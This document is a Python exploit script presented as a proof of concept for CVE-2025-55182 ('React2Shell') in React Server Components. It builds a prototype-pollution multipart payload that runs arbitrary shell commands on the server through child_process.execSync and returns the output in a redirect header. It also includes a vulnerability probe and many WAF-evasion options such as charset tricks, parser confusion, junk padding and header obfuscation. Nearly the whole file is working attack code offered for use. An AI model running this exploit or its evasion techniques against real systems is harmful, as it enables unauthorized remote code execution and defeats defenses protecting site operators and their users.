exploit.py

#!/usr/bin/env python3
"""
CVE-2025-55182 (React2Shell) Proof of Concept
This script demonstrates the vulnerability in React Server Components 19.0.0-19.2.0

For educational and authorized security testing purposes only.
"""

import requests
import sys
import argparse
import urllib.parse
import random
import string
from typing import Optional


class WAFBypassConfig:
    """Configuration for WAF bypass techniques."""
    def __init__(
        self,
        # Charset mismatch bypasses (mutually exclusive)
        utf16le: bool = False,
        utf16be: bool = False,
        utf7: bool = False,
        utf32: bool = False,
        ibm037: bool = False,
        iso2022jp: bool = False,
        double_charset: bool = False,  # charset=utf-8;charset=utf-7 trick
        # Parser confusion bypasses (WAFFLED research)
        missing_boundary: bool = False,  # Omit closing boundary
        duplicate_disposition: bool = False,  # Duplicate Content-Disposition headers
        filename_star: bool = False,  # RFC 6266 filename* encoding
        boundary_continuation: bool = False,  # RFC 2231 parameter continuation
        null_byte_header: bool = False,  # Null bytes in headers
        unquoted_filename: bool = False,  # Remove quotes from filename
        tab_whitespace: bool = False,  # Use \t instead of space in headers
        boundary_semicolon: bool = False,  # Append ; after boundary value
        extra_cr: bool = False,  # Use \r\r\n instead of \r\n (ModSecurity bypass)
        line_folding: bool = False,  # RFC 822 obsolete line folding
        empty_first_part: bool = False,  # Empty part before payload
        duplicate_name: bool = False,  # Duplicate name= parameter
        space_before_colon: bool = False,  # "Header :" instead of "Header:"
        single_quotes: bool = False,  # Use ' instead of "
        header_newline: bool = False,  # Inject newline in header value
        content_type_newline: bool = False,  # Newline between Content-Type params
        boundary_padding: bool = False,  # Whitespace around boundary value
        # Other bypasses
        junk_size_kb: int = 0,
        chunked: bool = False,
        boundary_obfuscation: bool = False,
        case_variation: bool = False,
        disposition_variation: bool = False,
        crlf_variation: bool = False,
        param_pollution: bool = False,
    ):
        # Charset-based bypasses (only one can be active)
        self.utf16le = utf16le
        self.utf16be = utf16be
        self.utf7 = utf7
        self.utf32 = utf32
        self.ibm037 = ibm037
        self.iso2022jp = iso2022jp
        self.double_charset = double_charset
        # Parser confusion bypasses
        self.missing_boundary = missing_boundary
        self.duplicate_disposition = duplicate_disposition
        self.filename_star = filename_star
        self.boundary_continuation = boundary_continuation
        self.null_byte_header = null_byte_header
        self.unquoted_filename = unquoted_filename
        self.tab_whitespace = tab_whitespace
        self.boundary_semicolon = boundary_semicolon
        self.extra_cr = extra_cr
        self.line_folding = line_folding
        self.empty_first_part = empty_first_part
        self.duplicate_name = duplicate_name
        self.space_before_colon = space_before_colon
        self.single_quotes = single_quotes
        self.header_newline = header_newline
        self.content_type_newline = content_type_newline
        self.boundary_padding = boundary_padding
        # Other bypasses
        self.junk_size_kb = junk_size_kb
        self.chunked = chunked
        self.boundary_obfuscation = boundary_obfuscation
        self.case_variation = case_variation
        self.disposition_variation = disposition_variation
        self.crlf_variation = crlf_variation  # Use LF only instead of CRLF
        self.param_pollution = param_pollution

    def get_active_charset(self) -> Optional[str]:
        """Return the active charset bypass, if any."""
        if self.utf16le:
            return "utf-16le"
        if self.utf16be:
            return "utf-16be"
        if self.utf7:
            return "utf-7"
        if self.utf32:
            return "utf-32"
        if self.ibm037:
            return "ibm037"
        if self.iso2022jp:
            return "iso-2022-jp"
        if self.double_charset:
            return "double"  # Special case
        return None


def generate_junk_data(size_kb: int) -> tuple[str, str]:
    """
    Generate random junk data for WAF bypass.

    Returns a tuple of (param_name, junk_data).
    The junk data is prepended to push the malicious payload past WAF inspection limits.
    """
    param_name = ''.join(random.choices(string.ascii_lowercase, k=12))
    junk = ''.join(random.choices(string.ascii_letters + string.digits, k=size_kb * 1024))
    return param_name, junk


def generate_obfuscated_boundary() -> str:
    """
    Generate an obfuscated multipart boundary.

    WAF bypass technique: Uses unusual characters and patterns in boundary
    that some WAFs may not properly parse, while still being valid per RFC 2046.

    RFC 2046 allows: DIGIT / ALPHA / "'" / "(" / ")" / "+" / "_" / "," / "-" / "." / "/" / ":" / "=" / "?"

    We use conservative special chars that most parsers handle well.
    """
    # Use safer special characters that parsers typically handle
    # Avoid quotes, parentheses, slashes as they can confuse some parsers
    safe_special = ["_", "-", "."]
    base = ''.join(random.choices(string.ascii_letters + string.digits, k=30))
    # Insert some special characters
    result = list(base)
    for _ in range(3):
        pos = random.randint(1, len(result) - 2)  # Not at boundaries
        result.insert(pos, random.choice(safe_special))
    return ''.join(result)


def apply_case_variation(text: str) -> str:
    """
    Apply random case variation to a string.

    WAF bypass technique: Pattern matching for strings like "Content-Disposition"
    may be case-sensitive in some WAFs. HTTP headers are case-insensitive per RFC 7230.
    """
    return ''.join(
        c.upper() if random.choice([True, False]) else c.lower()
        for c in text
    )


def create_chunked_body(body: bytes) -> bytes:
    """
    Convert a body to chunked transfer encoding format.

    WAF bypass technique: Many WAFs don't properly reassemble chunked requests
    before inspection, so signature matching may fail across chunk boundaries.

    Chunks are created with random sizes between 10-100 bytes.
    """
    chunks = []
    offset = 0
    while offset < len(body):
        # Random chunk size between 10 and 100 bytes
        chunk_size = min(random.randint(10, 100), len(body) - offset)
        chunk_data = body[offset:offset + chunk_size]
        # Format: <size in hex>\r\n<data>\r\n
        chunks.append(f"{chunk_size:x}\r\n".encode() + chunk_data + b"\r\n")
        offset += chunk_size
    # Final chunk
    chunks.append(b"0\r\n\r\n")
    return b"".join(chunks)


def generate_pollution_fields(count: int = 3) -> list[tuple[str, str]]:
    """
    Generate dummy form fields for HTTP Parameter Pollution.

    WAF bypass technique: Some WAFs may only inspect certain fields or have
    limits on number of parameters parsed. Dummy fields can push malicious
    data outside the inspection window or confuse parsers.
    """
    fields = []
    common_names = ["action", "submit", "type", "mode", "format", "callback", "ref", "token"]
    for _ in range(count):
        name = random.choice(common_names) + ''.join(random.choices(string.digits, k=3))
        value = ''.join(random.choices(string.ascii_letters, k=random.randint(10, 50)))
        fields.append((name, value))
    return fields


def create_exploit_payload(
    command: str,
    config: Optional[WAFBypassConfig] = None
) -> tuple[bytes, str, dict]:
    """
    Create the multipart/form-data payload that exploits CVE-2025-55182.

    The exploit works by:
    1. Creating a fake Chunk object with a custom 'then' method via prototype pollution
    2. Using $1:__proto__:then to traverse to Chunk.prototype.then
    3. When React deserializes and attempts to resolve it as a Promise,
       it calls the attacker-controlled 'then' method
    4. The 'then' method uses the Function constructor ($1:constructor:constructor)
       to execute arbitrary JavaScript
    5. The code runs process.mainModule.require('child_process').execSync()

    Args:
        command: The shell command to execute
        config: WAF bypass configuration

    Returns:
        Tuple of (body_bytes, content_type, extra_headers)
    """
    if config is None:
        config = WAFBypassConfig()

    extra_headers = {}

    # Generate boundary - optionally obfuscated
    if config.boundary_obfuscation:
        boundary = generate_obfuscated_boundary()
    else:
        boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"

    # Escape command for JavaScript string
    js_command = command.replace("\\", "\\\\").replace("'", "\\'")

    # The malicious payload that exploits prototype pollution
    # Uses the redirect mechanism to exfiltrate command output
    prefix_payload = (
        f"var res=process.mainModule.require('child_process').execSync('{js_command}')"
        f".toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),"
        f"{{digest: `NEXT_REDIRECT;push;/pwned?output=${{res}};307;`}});"
    )

    part0 = (
        '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
        '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"'
        + prefix_payload
        + '","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}'
    )

    # Content-Disposition header - optionally with variations
    if config.case_variation:
        content_disp = apply_case_variation("Content-Disposition")
    else:
        content_disp = "Content-Disposition"

    # Build disposition template based on parser confusion options
    def make_disposition(name: str, line_end: str) -> str:
        header = content_disp

        # Null byte injection in header name (WAFFLED technique)
        if config.null_byte_header:
            header = f"Content-Dispo\x00sition"

        # Space before colon (WAFFLED: header separator manipulation)
        if config.space_before_colon:
            separator = " :"
        else:
            separator = ":"

        # Quote character selection
        quote = "'" if config.single_quotes else '"'

        # Tab whitespace instead of space (WAFFLED whitespace alteration)
        space = "\t" if config.tab_whitespace else " "

        if config.unquoted_filename:
            # Remove quotes - some validators fail without quotes
            disp = f'{header}{separator}{space}form-data;{space}name={name}'
        elif config.filename_star:
            # RFC 6266 filename* encoding - validators may not decode
            encoded_name = ''.join(f'%{ord(c):02X}' for c in name)
            disp = f'{header}{separator}{space}form-data;{space}name*=UTF-8\'\'{encoded_name}'
        elif config.disposition_variation:
            # Extra whitespace variations
            disp = f'{header}{separator}  form-data;   name={quote}{name}{quote}'
        else:
            disp = f'{header}{separator}{space}form-data;{space}name={quote}{name}{quote}'

        # Duplicate name parameter (WAFFLED: WAF checks last, parser uses first)
        if config.duplicate_name:
            fake_name = ''.join(random.choices(string.ascii_lowercase, k=8))
            disp = f'{disp};{space}name={quote}{fake_name}{quote}'

        # Line folding (obsolete RFC 822 technique, still processed by some parsers)
        if config.line_folding:
            # Insert CRLF + whitespace to fold the header line
            disp = disp.replace("; name", f";{line_end} name")

        # Duplicate Content-Disposition (WAF checks last, parser uses first)
        if config.duplicate_disposition:
            fake_name = ''.join(random.choices(string.ascii_lowercase, k=8))
            disp = f'{disp}{line_end}{header}{separator}{space}form-data;{space}name={quote}{fake_name}{quote}'

        return disp

    # Line ending - CRLF is standard, but variations may confuse some WAFs
    if config.crlf_variation:
        line_end = "\n"  # LF only (Unix-style)
    elif config.extra_cr:
        line_end = "\r\r\n"  # Extra CR (ModSecurity bypass - CVE-like behavior)
    else:
        line_end = "\r\n"  # Standard CRLF

    # Construct multipart form-data body
    parts = []

    # Empty first part (WAFFLED: confuses WAF parsing, backend accepts)
    # ModSecurity may skip what it believes is an invalid first part
    if config.empty_first_part:
        parts.append(
            f"--{boundary}{line_end}"
            f"Content-Disposition: form-data; name=\"__empty__\"{line_end}{line_end}"
            f"{line_end}"
        )

    # HTTP Parameter Pollution - add dummy fields before payload
    if config.param_pollution:
        for field_name, field_value in generate_pollution_fields(5):
            parts.append(
                f"--{boundary}{line_end}"
                f"{make_disposition(field_name, line_end)}{line_end}{line_end}"
                f"{field_value}{line_end}"
            )

    # Junk data injection for WAF bypass (pushes payload past inspection limit)
    if config.junk_size_kb > 0:
        param_name, junk = generate_junk_data(config.junk_size_kb)
        parts.append(
            f"--{boundary}{line_end}"
            f"{make_disposition(param_name, line_end)}{line_end}{line_end}"
            f"{junk}{line_end}"
        )

    # Main exploit payload parts
    parts.append(
        f"--{boundary}{line_end}"
        f"{make_disposition('0', line_end)}{line_end}{line_end}"
        f"{part0}{line_end}"
    )
    parts.append(
        f"--{boundary}{line_end}"
        f"{make_disposition('1', line_end)}{line_end}{line_end}"
        f'"$@0"{line_end}'
    )
    parts.append(
        f"--{boundary}{line_end}"
        f"{make_disposition('2', line_end)}{line_end}{line_end}"
        f"[]{line_end}"
    )

    # Missing closing boundary bypass (WAFFLED research)
    # PHP and some parsers accept truncated multipart without final --boundary--
    # WAFs expecting complete structure may fail to parse
    if config.missing_boundary:
        pass  # Don't add closing boundary
    else:
        parts.append(f"--{boundary}--")

    body = "".join(parts)

    # Apply case variation to Content-Type if enabled
    content_type_key = "Content-Type"
    if config.case_variation:
        content_type_key = apply_case_variation("Content-Type")

    # Charset-based WAF bypass techniques
    # All techniques send UTF-8 body but declare a different charset
    # WAFs that try to decode according to declared charset get garbage
    # Node.js multipart parser ignores charset and processes correctly
    charset = config.get_active_charset()
    body_bytes = body.encode("utf-8")

    # Build boundary parameter with optional tricks
    if config.boundary_continuation:
        # RFC 2231 parameter continuation (WAFFLED motivating example)
        # WAF sees boundary*0 and boundary*1 as separate params
        # Compliant parsers concatenate: "fake-" + "boundary" -> look for "--fake-boundary"
        # But we use the real boundary in body, so WAF parses wrong structure
        # Note: This is a template - actual value needs the real boundary split
        mid = len(boundary) // 2
        boundary_param = f"boundary*0={boundary[:mid]}; boundary*1={boundary[mid:]}"
    elif config.boundary_padding:
        # Whitespace around boundary value (WAFFLED: boundary header tampering)
        boundary_param = f"boundary= {boundary} "
    elif config.boundary_semicolon:
        # Append semicolon after boundary (WAFFLED technique)
        boundary_param = f"boundary={boundary};"
    else:
        boundary_param = f"boundary={boundary}"

    # Parameter separator (with optional newline injection)
    if config.content_type_newline:
        # Newline between parameters (WAFFLED: header separator manipulation)
        param_sep = ";\r\n "
    else:
        param_sep = "; "

    if charset:
        if charset == "utf-7":
            # UTF-7 bypass: Some WAFs skip UTF-7 bodies
            content_type = f"multipart/form-data{param_sep}{boundary_param}{param_sep}charset=utf-7"
        elif charset == "utf-32":
            # UTF-32: 4 bytes per character - WAF pattern matching fails
            content_type = f"multipart/form-data{param_sep}{boundary_param}{param_sep}charset=utf-32"
        elif charset == "ibm037":
            # IBM037 (EBCDIC): Completely different character mapping
            content_type = f"multipart/form-data{param_sep}{boundary_param}{param_sep}charset=ibm037"
        elif charset == "utf-16be":
            # UTF-16BE: Big-endian variant
            content_type = f"multipart/form-data{param_sep}{boundary_param}{param_sep}charset=utf-16be"
        elif charset == "iso-2022-jp":
            # ISO-2022-JP: Japanese charset with escape sequences
            # WAFs may not understand escape sequence handling
            content_type = f"multipart/form-data{param_sep}{boundary_param}{param_sep}charset=iso-2022-jp"
        elif charset == "double":
            # Double charset trick: WAF reads first charset, parser may use second
            # Based on CRS bypass research where charset=utf-8;charset=utf-7
            # confused the WAF (saw utf-8) but Express used utf-7
            content_type = f"multipart/form-data{param_sep}{boundary_param}{param_sep}charset=utf-8{param_sep}charset=utf-7"
        else:  # utf-16le (default)
            content_type = f"multipart/form-data{param_sep}{boundary_param}{param_sep}charset=utf-16le"
    else:
        content_type = f"multipart/form-data{param_sep}{boundary_param}"

    # Chunked transfer encoding
    # Note: Disabled by default as many HTTP/1.1 servers/proxies don't handle
    # chunked multipart bodies well. Enable only against specific WAF targets.
    if config.chunked:
        # The requests library doesn't support chunked encoding with data parameter
        # We manually chunk the body and set the header
        # Some WAFs can't reassemble chunks for inspection
        body_bytes = create_chunked_body(body_bytes)
        extra_headers["Transfer-Encoding"] = "chunked"
        # Remove Content-Length as it conflicts with chunked
        extra_headers["_remove_content_length"] = True

    return body_bytes, content_type, extra_headers


def create_exploit_payload_legacy(command: str, encoding: str = "utf-8", junk_size_kb: int = 0) -> tuple[bytes, str]:
    """Legacy wrapper for backwards compatibility."""
    config = WAFBypassConfig(
        utf16le=(encoding == "utf-16le"),
        junk_size_kb=junk_size_kb
    )
    body, content_type, _ = create_exploit_payload(command, config)
    return body, content_type


def detect_vulnerability(url: str) -> bool:
    """
    Check if the target is vulnerable by sending a safe probe request.
    Vulnerable servers respond with HTTP 500 and 'E{"digest"' in body.
    """
    boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"

    # Safe detection payload - causes a specific error without executing code
    body = (
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="1"\r\n\r\n'
        f"{{}}\r\n"
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="0"\r\n\r\n'
        f'["$1:aa:aa"]\r\n'
        f"--{boundary}--"
    )

    headers = {
        "Content-Type": f"multipart/form-data; boundary={boundary}",
        "Next-Action": "detect",
    }

    try:
        resp = requests.post(url, data=body.encode(), headers=headers, timeout=10)
        if resp.status_code == 500 and 'E{"digest"' in resp.text:
            return True
        return False
    except Exception as e:
        print(f"[!] Detection error: {e}")
        return False


def exploit(url: str, command: str, config: Optional[WAFBypassConfig] = None) -> dict:
    """
    Send the exploit payload to execute a command on the vulnerable server.
    Returns command output via the X-Action-Redirect header.

    Args:
        url: Target URL
        command: Shell command to execute
        config: WAF bypass configuration
    """
    if config is None:
        config = WAFBypassConfig()

    body, content_type, extra_headers = create_exploit_payload(command, config)

    headers = {
        "Content-Type": content_type,
        "Next-Action": "rce",  # Any value triggers the vulnerable code path
    }
    headers.update(extra_headers)

    try:
        resp = requests.post(url, data=body, headers=headers, timeout=30, allow_redirects=False)

        # Extract command output from redirect header
        redirect_header = resp.headers.get("X-Action-Redirect", "")
        output = ""
        if "output=" in redirect_header:
            output = redirect_header.split("output=")[1].split(";")[0]

        return {
            "status_code": resp.status_code,
            "redirect": redirect_header,
            "output": output,
            "body": resp.text[:500],
        }
    except Exception as e:
        return {"error": str(e)}


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2025-55182 (React2Shell) PoC - For authorized testing only",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Charset Bypass Techniques (mutually exclusive):
  --utf16le          Declare UTF-16LE charset (credit: nav1n0x)
  --utf16be          Declare UTF-16BE charset (big-endian)
  --utf7             Declare UTF-7 charset
  --utf32            Declare UTF-32 charset
  --ibm037           Declare IBM037/EBCDIC charset
  --iso2022jp        Declare ISO-2022-JP charset
  --double-charset   Double charset trick (charset=utf-8;charset=utf-7)

Parser Confusion Techniques (WAFFLED research):
  --tab              Use tab instead of space in headers (included in --all)
  --boundary-semi    Append semicolon after boundary value
  --extra-cr         Use \\r\\r\\n instead of \\r\\n
  --line-fold        RFC 822 obsolete line folding (included in --all)
  --empty-part       Add empty part before payload (included in --all)
  --dup-name         Duplicate name= parameter (included in --all)
  --space-colon      Add space before colon
  --single-quotes    Use single quotes instead of double quotes
  --ct-newline       Newline between Content-Type params
  --boundary-pad     Whitespace around boundary value

Other WAF Bypass Techniques:
  --junk KB          Junk data padding (push payload past inspection limit)
  --boundary         Obfuscated multipart boundary (randomized)
  --case             Random case variation in headers
  --disposition      Content-Disposition format variations
  --pollution        HTTP Parameter Pollution (dummy fields)
  --all              Enable all stable WAF bypass techniques

Experimental (not included in --all):
  --chunked          Chunked transfer encoding (may break some servers)
  --crlf             LF-only line endings (may break strict parsers)

Examples:
  python exploit.py http://localhost:3000 -c "id"
  python exploit.py http://localhost:3000 -c "whoami" --all
  python exploit.py http://localhost:3000 -c "id" --iso2022jp --junk 128
  python exploit.py http://localhost:3000 -c "id" --tab --extra-cr --empty-part
"""
    )
    parser.add_argument("url", help="Target URL (e.g., http://localhost:3000)")
    parser.add_argument(
        "-c", "--command",
        default="id",
        help="Command to execute (default: id)"
    )
    parser.add_argument(
        "-d", "--detect-only",
        action="store_true",
        help="Only check if vulnerable, don't exploit"
    )

    # Charset bypass options (mutually exclusive)
    charset_group = parser.add_argument_group("Charset Bypass Options (mutually exclusive)")
    charset_mutex = charset_group.add_mutually_exclusive_group()
    charset_mutex.add_argument(
        "--utf16le",
        action="store_true",
        help="Declare UTF-16LE charset (credit: nav1n0x)"
    )
    charset_mutex.add_argument(
        "--utf16be",
        action="store_true",
        help="Declare UTF-16BE charset (big-endian)"
    )
    charset_mutex.add_argument(
        "--utf7",
        action="store_true",
        help="Declare UTF-7 charset"
    )
    charset_mutex.add_argument(
        "--utf32",
        action="store_true",
        help="Declare UTF-32 charset"
    )
    charset_mutex.add_argument(
        "--ibm037",
        action="store_true",
        help="Declare IBM037/EBCDIC charset"
    )
    charset_mutex.add_argument(
        "--iso2022jp",
        action="store_true",
        help="Declare ISO-2022-JP charset"
    )
    charset_mutex.add_argument(
        "--double-charset",
        action="store_true",
        help="Double charset trick (charset=utf-8;charset=utf-7)"
    )

    # Other WAF bypass options
    waf_group = parser.add_argument_group("Other WAF Bypass Options")
    waf_group.add_argument(
        "--junk",
        type=int,
        default=0,
        metavar="KB",
        help="Prepend junk data (recommended: 128)"
    )
    waf_group.add_argument(
        "--chunked",
        action="store_true",
        help="Use chunked transfer encoding"
    )
    waf_group.add_argument(
        "--boundary",
        action="store_true",
        help="Use obfuscated multipart boundary"
    )
    waf_group.add_argument(
        "--case",
        action="store_true",
        help="Apply random case variation to headers"
    )
    waf_group.add_argument(
        "--disposition",
        action="store_true",
        help="Use Content-Disposition format variations"
    )
    waf_group.add_argument(
        "--crlf",
        action="store_true",
        help="Use LF-only line endings (instead of CRLF)"
    )
    waf_group.add_argument(
        "--pollution",
        action="store_true",
        help="Add dummy form fields (HTTP Parameter Pollution)"
    )
    waf_group.add_argument(
        "--all",
        action="store_true",
        help="Enable all WAF bypass techniques"
    )

    # Parser confusion options (WAFFLED research)
    parser_group = parser.add_argument_group("Parser Confusion Options (WAFFLED)")
    parser_group.add_argument(
        "--tab",
        action="store_true",
        help="Use tab instead of space in headers"
    )
    parser_group.add_argument(
        "--boundary-semi",
        action="store_true",
        help="Append semicolon after boundary value"
    )
    parser_group.add_argument(
        "--extra-cr",
        action="store_true",
        help="Use \\r\\r\\n instead of \\r\\n (ModSecurity bypass)"
    )
    parser_group.add_argument(
        "--line-fold",
        action="store_true",
        help="RFC 822 obsolete line folding in headers"
    )
    parser_group.add_argument(
        "--empty-part",
        action="store_true",
        help="Add empty part before payload"
    )
    parser_group.add_argument(
        "--dup-name",
        action="store_true",
        help="Duplicate name= parameter"
    )
    parser_group.add_argument(
        "--space-colon",
        action="store_true",
        help="Add space before colon in headers"
    )
    parser_group.add_argument(
        "--single-quotes",
        action="store_true",
        help="Use single quotes instead of double quotes"
    )
    parser_group.add_argument(
        "--ct-newline",
        action="store_true",
        help="Newline between Content-Type parameters"
    )
    parser_group.add_argument(
        "--boundary-pad",
        action="store_true",
        help="Whitespace around boundary value"
    )

    args = parser.parse_args()

    url = args.url.rstrip("/")

    # Build WAF bypass configuration
    # Note: chunked and crlf are experimental (not included in --all)
    # Charset bypasses are mutually exclusive; --all uses UTF-16LE
    any_charset = (args.utf16be or args.utf7 or args.utf32 or args.ibm037 or
                   args.iso2022jp or getattr(args, 'double_charset', False))
    config = WAFBypassConfig(
        utf16le=args.utf16le or (args.all and not any_charset),
        utf16be=args.utf16be,
        utf7=args.utf7,
        utf32=args.utf32,
        ibm037=args.ibm037,
        iso2022jp=args.iso2022jp,
        double_charset=getattr(args, 'double_charset', False),
        junk_size_kb=args.junk if args.junk > 0 else (128 if args.all else 0),
        chunked=args.chunked,  # Experimental: not included in --all
        boundary_obfuscation=args.boundary or args.all,
        case_variation=args.case or args.all,
        disposition_variation=args.disposition or args.all,
        crlf_variation=args.crlf,  # Experimental: not included in --all
        param_pollution=args.pollution or args.all,
        tab_whitespace=getattr(args, 'tab', False) or args.all,
        boundary_semicolon=getattr(args, 'boundary_semi', False),
        extra_cr=getattr(args, 'extra_cr', False),
        line_folding=getattr(args, 'line_fold', False) or args.all,
        empty_first_part=getattr(args, 'empty_part', False) or args.all,
        duplicate_name=getattr(args, 'dup_name', False) or args.all,
        space_before_colon=getattr(args, 'space_colon', False),
        single_quotes=getattr(args, 'single_quotes', False),
        content_type_newline=getattr(args, 'ct_newline', False),
        boundary_padding=getattr(args, 'boundary_pad', False),
    )

    print(f"[*] Target: {url}")

    # Print active bypass techniques
    bypasses = []
    charset = config.get_active_charset()
    if charset:
        if charset == "double":
            bypasses.append("double charset (utf-8;utf-7)")
        else:
            bypasses.append(f"{charset.upper()} charset")
    if config.junk_size_kb > 0:
        bypasses.append(f"junk padding ({config.junk_size_kb}KB)")
    if config.chunked:
        bypasses.append("chunked encoding")
    if config.boundary_obfuscation:
        bypasses.append("boundary obfuscation")
    if config.case_variation:
        bypasses.append("case variation")
    if config.disposition_variation:
        bypasses.append("disposition variation")
    if config.crlf_variation:
        bypasses.append("LF-only line endings")
    if config.param_pollution:
        bypasses.append("parameter pollution")
    if config.tab_whitespace:
        bypasses.append("tab whitespace")
    if config.boundary_semicolon:
        bypasses.append("boundary semicolon")
    if config.extra_cr:
        bypasses.append("extra CR (\\r\\r\\n)")
    if config.line_folding:
        bypasses.append("line folding")
    if config.empty_first_part:
        bypasses.append("empty first part")
    if config.duplicate_name:
        bypasses.append("duplicate name")
    if config.space_before_colon:
        bypasses.append("space before colon")
    if config.single_quotes:
        bypasses.append("single quotes")
    if config.content_type_newline:
        bypasses.append("CT newline")
    if config.boundary_padding:
        bypasses.append("boundary padding")

    if bypasses:
        print(f"[*] WAF bypasses: {', '.join(bypasses)}")

    print(f"[*] Checking vulnerability...")

    if detect_vulnerability(url):
        print("[+] Target appears VULNERABLE to CVE-2025-55182!")

        if args.detect_only:
            return

        print(f"[*] Executing command: {args.command}")
        result = exploit(url, args.command, config)

        if "error" in result:
            print(f"[-] Exploit failed: {result['error']}")
        else:
            print(f"[+] Exploit successful!")
            print(f"    Status: {result['status_code']}")
            if result.get("output"):
                print(f"    Output: {result['output']}")
            if result.get("redirect"):
                print(f"    Redirect: {result['redirect']}")
    else:
        print("[-] Target does not appear vulnerable (or detection failed)")


if __name__ == "__main__":
    main()